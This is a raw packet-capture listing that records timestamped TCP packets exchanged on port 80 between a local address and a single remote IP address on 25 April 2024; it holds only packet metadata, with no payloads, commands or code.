Apr 25, 2024 14:42:04.640008926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640028954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640048027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640077114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640084982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640096903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640146971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640177965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640185118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640197039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640222073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640233040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640266895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640270948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640311003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640316963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640357018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640362978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640396118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640408993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640434980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640439034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640474081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640482903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640511990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640518904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640551090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640556097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640588045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640588999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640635967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640644073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640675068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640681982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640713930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640723944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640752077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640757084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640789986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640798092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640829086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640834093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640866995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640878916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640907049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640913010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640944958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640955925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.640983105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.640990973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641031981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641063929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641113043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641138077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641190052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641211033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641248941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641259909 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641288042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641302109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641326904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641333103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641366005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641371965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641405106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641413927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641443968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641449928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641482115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641490936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641520023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641527891 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641571045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641592026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641629934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641635895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641669035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641685963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641709089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641709089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641747952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641757965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641784906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641791105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641824961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641828060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641864061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641870975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641910076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641911983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641951084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641958952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.641988993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.641993999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642026901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642035961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642066956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642129898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642178059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642200947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642247915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642333984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642370939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642376900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642416000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642458916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642477036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642501116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642508984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642520905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642532110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642551899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642585039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642612934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642618895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642668962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642712116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642730951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642774105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.642915964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.642957926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643043041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643088102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643188953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643207073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643233061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643244982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643379927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643399954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643426895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643439054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643543959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643585920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643590927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643608093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643635035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643646002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643656969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643675089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643697023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643707037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643709898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643748045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643786907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643802881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643820047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643832922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643837929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643845081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643857002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643863916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643877029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643877983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643899918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643906116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643920898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643930912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.643989086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.643999100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644007921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644016981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644047976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644061089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644079924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644114017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644125938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644143105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644157887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644172907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644190073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644201994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644208908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644227028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644258976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644260883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644273043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644303083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644309044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644328117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644356012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644368887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644388914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644407034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644434929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644452095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644494057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644511938 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644529104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644536018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644561052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644562006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644570112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644608021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644654036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644690990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644697905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644728899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644740105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644757986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644773006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644783020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644793034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644802094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644810915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644820929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644829035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644841909 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644860029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644876957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644892931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644910097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644927025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644932032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644953966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644963026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.644979954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.644996881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.645025969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.645030975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842071056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842178106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842268944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842313051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842320919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842351913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842360020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842391968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842397928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842430115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842441082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842468977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842475891 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842506886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842513084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842552900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842566013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842602968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842608929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842642069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842662096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842684031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842686892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842721939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842736006 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842760086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842767000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842797995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842808962 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842837095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842843056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842878103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842883110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842917919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842922926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842957020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.842962980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.842997074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.843004942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.843034983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.843039036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.843072891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.843079090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.843116999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.847261906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.847301006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.847320080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.847340107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.847378969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.847491026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.847491026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.847491026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848227978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848268032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848289013 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848315001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848329067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848368883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848377943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848407030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848412991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848448038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848453999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848491907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848541975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848581076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848594904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848618984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848618984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848664999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848723888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848762035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848777056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848798990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848803043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848838091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848845005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848877907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848884106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848917961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.848921061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848961115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.848992109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849030018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849045038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849067926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849075079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849107027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849112988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849143982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849145889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849184990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849185944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849221945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849229097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849261999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849262953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849298954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849307060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849338055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849344015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849375010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849378109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849415064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849420071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849452972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849458933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849497080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849524021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849560022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849575996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849597931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849605083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849636078 CEST	80	49731	185.172.128.76	192.168.2.4
